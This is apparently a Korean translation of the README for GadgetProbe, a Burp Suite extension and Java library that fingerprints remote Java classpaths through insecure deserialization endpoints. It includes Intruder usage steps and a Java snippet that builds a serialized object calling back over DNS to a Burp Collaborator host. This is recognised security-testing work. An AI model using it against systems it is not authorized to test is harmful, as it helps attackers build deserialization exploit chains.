
Java 직렬화 객체를 소비하는 엔드포인트를 프로빙하여 원격 Java 클래스패스에서 클래스, 라이브러리 및 라이브러리 버전을 식별합니다.
방금 Java 역직렬화 버그를 발견했고, 모든 ysoserial 페이로드를 실행했는데.... 아무것도 나오지 않았나요? 이제 어떻게 해야 할까요? 완전히 눈이 먼 상태에서 가젯 체인을 디버깅하거나 어떻게 구축할 수 있을까요?
원격 클래스패스에 빛을 비추고 모든 이들의 버그 심각도를 높여주는 도구, GadgetProbe를 소개합니다!
GadgetProbe는 Java 클래스 워드리스트를 받아 직렬화된 DNS 콜백 객체를 출력하고, 원격 클래스패스에 숨어 있는 것이 무엇인지 보고합니다.
Burp 확장 프로그램은 DNS 콜백을 처리하기 위해 Burp Collaborator와 자동으로 통합됩니다. 또한 이 확장 프로그램은 가젯을 위한 인기 소스의 라이브러리 버전을 식별하는 시그니처와 분석기를 포함합니다.
Burp 확장 프로그램을 로드한 후:

2. Java 클래스 목록을 추가하세요(포함된 워드리스트 참조).

3. GadgetProbe 페이로드 프로세서와 체인에 필요한 다른 프로세서(예: Base64 인코딩)를 추가하세요.

4. Intruder 공격을 실행하고 GadgetProbe Burp 탭에서 결과가 돌아오는 것을 확인하세요.

GadgetProbe는 특수 공격을 위해 Java 라이브러리나 CLI로도 사용할 수 있습니다.
import com.bishopfox.gadgetprobe.GadgetProbe
...
// Call the GadgetProbe constructor with your authoritative nameserver (or use Burp collaborator).
GadgetProbe gp = new GadgetProbe("dnscallback.burpcollaborator.net");
// The crafted object "obj" is now ready to be sent using any custom implementation :)
Object obj = gp.getObject("org.apache.commons.collections.functors.invokertransformer");
# Build JAR (run first)
./gradlew shadowJar
# Build wordlists
./generate_wordlists.sh
Bishop Fox 블로그에서 제 글을 참조하세요.
Twitter: @theBumbleSec
GitHub: the-bumble